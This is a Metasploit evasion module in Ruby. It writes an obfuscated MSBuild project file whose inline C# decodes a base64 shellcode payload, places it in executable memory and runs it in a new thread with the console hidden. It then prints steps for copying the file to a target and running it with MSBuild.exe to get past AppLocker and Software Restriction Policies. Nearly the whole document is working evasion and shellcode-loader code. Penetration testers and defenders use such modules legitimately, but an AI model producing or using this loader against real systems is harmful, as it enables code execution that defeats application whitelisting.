1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Evasion
7

8
  def initialize(info = {})
9
    super(
10
      update_info(
11
        info,
12
        'Name' => 'Applocker Evasion - MSBuild',
13
        'Description' => %q{
14
          This module will assist you in evading Microsoft
15
          Windows Applocker and Software Restriction Policies.
16
          This technique utilises the Microsoft signed binary
17
          MSBuild.exe to execute user supplied code.
18
        },
19
        'Author' => [
20
          'Nick Tyrer <@NickTyrer>', # module development
21
          'Casey Smith' # msbuild bypass research
22
        ],
23
        'License' => MSF_LICENSE,
24
        'Platform' => 'win',
25
        'Arch' => [ARCH_X86, ARCH_X64],
26
        'Targets' => [['Microsoft Windows', {}]],
27
        'References' => [['URL', 'https://attack.mitre.org/techniques/T1127/']]
28
      )
29
    )
30

31
    register_options(
32
      [
33
        OptString.new('FILENAME', [true, 'Filename for the evasive file (default: msbuild.txt)', 'msbuild.txt'])
34
      ]
35
    )
36
  end
37

38
  def build_payload
39
    Rex::Text.encode_base64(payload.encoded)
40
  end
41

42
  def obfu
43
    Rex::Text.rand_text_alpha 8
44
  end
45

46
  def msbuild
47
    esc = build_payload
48
    mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
49
    <<~HEREDOC
50
      <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
51
      <Target Name="#{mod[0]}">
52
      <#{mod[1]} />
53
      </Target>
54
      <UsingTask
55
      TaskName="#{mod[1]}"
56
      TaskFactory="CodeTaskFactory"
57
      AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
58
      <Task>
59
      <Code Type="Class" Language="cs">
60
      <![CDATA[
61
      using System;
62
      using System.Runtime.InteropServices;
63
      using Microsoft.Build.Framework;
64
      using Microsoft.Build.Utilities;
65
      public class #{mod[1]} :  Task, ITask
66
      {
67
      private static Int32 #{mod[2]}=0x1000;
68
      private static IntPtr #{mod[3]}=(IntPtr)0x40;
69
      private static UInt32 #{mod[4]} = 0xFFFFFFFF;
70
      [System.Runtime.InteropServices.DllImport("kernel32")]
71
      private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
72
      [System.Runtime.InteropServices.DllImport("kernel32")]
73
      private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);
74
      [System.Runtime.InteropServices.DllImport("kernel32")]
75
      private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
76
      [System.Runtime.InteropServices.DllImport("user32.dll")]
77
      static extern bool ShowWindow(IntPtr #{mod[5]}, int nCmdShow);
78
      [System.Runtime.InteropServices.DllImport("Kernel32")]
79
      private static extern IntPtr GetConsoleWindow();
80
      const int #{mod[6]} = 0;
81
      public override bool Execute()
82
      {
83
      IntPtr #{mod[5]};
84
      #{mod[5]} = GetConsoleWindow();
85
      ShowWindow(#{mod[5]}, #{mod[6]});
86
      string #{mod[7]} = "#{esc}";
87
      byte[] #{mod[8]} = Convert.FromBase64String(#{mod[7]});
88
      byte[] #{mod[9]} = #{mod[8]};
89
      IntPtr #{mod[10]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[9]}.Length, #{mod[2]}, #{mod[3]});
90
      System.Runtime.InteropServices.Marshal.Copy(#{mod[9]}, 0, #{mod[10]}, #{mod[9]}.Length);
91
      IntPtr #{mod[11]} = IntPtr.Zero;
92
      WaitForSingleObject(CreateThread(#{mod[11]}, UIntPtr.Zero, #{mod[10]}, #{mod[11]}, 0, ref #{mod[11]}), #{mod[4]});
93
      return true;
94
      }
95
      }
96
      ]]>
97
      </Code>
98
      </Task>
99
      </UsingTask>
100
      </Project>
101
    HEREDOC
102
  end
103

104
  def file_format_filename(name = '')
105
    name.empty? ? @fname : @fname = name
106
  end
107

108
  def create_files
109
    f1 = datastore['FILENAME'].empty? ? 'msbuild.txt' : datastore['FILENAME']
110
    f1 << '.txt' unless f1.downcase.end_with?('.txt')
111
    file1 = msbuild
112
    file_format_filename(f1)
113
    file_create(file1)
114
  end
115

116
  def instructions
117
    print_status "Copy #{datastore['FILENAME']} to the target"
118
    if payload.arch.first == ARCH_X86
119
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"
120
    else
121
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\MSBuild.exe #{datastore['FILENAME']}"
122
    end
123
  end
124

125
  def run
126
    create_files
127
    instructions
128
  end
129
end
130

131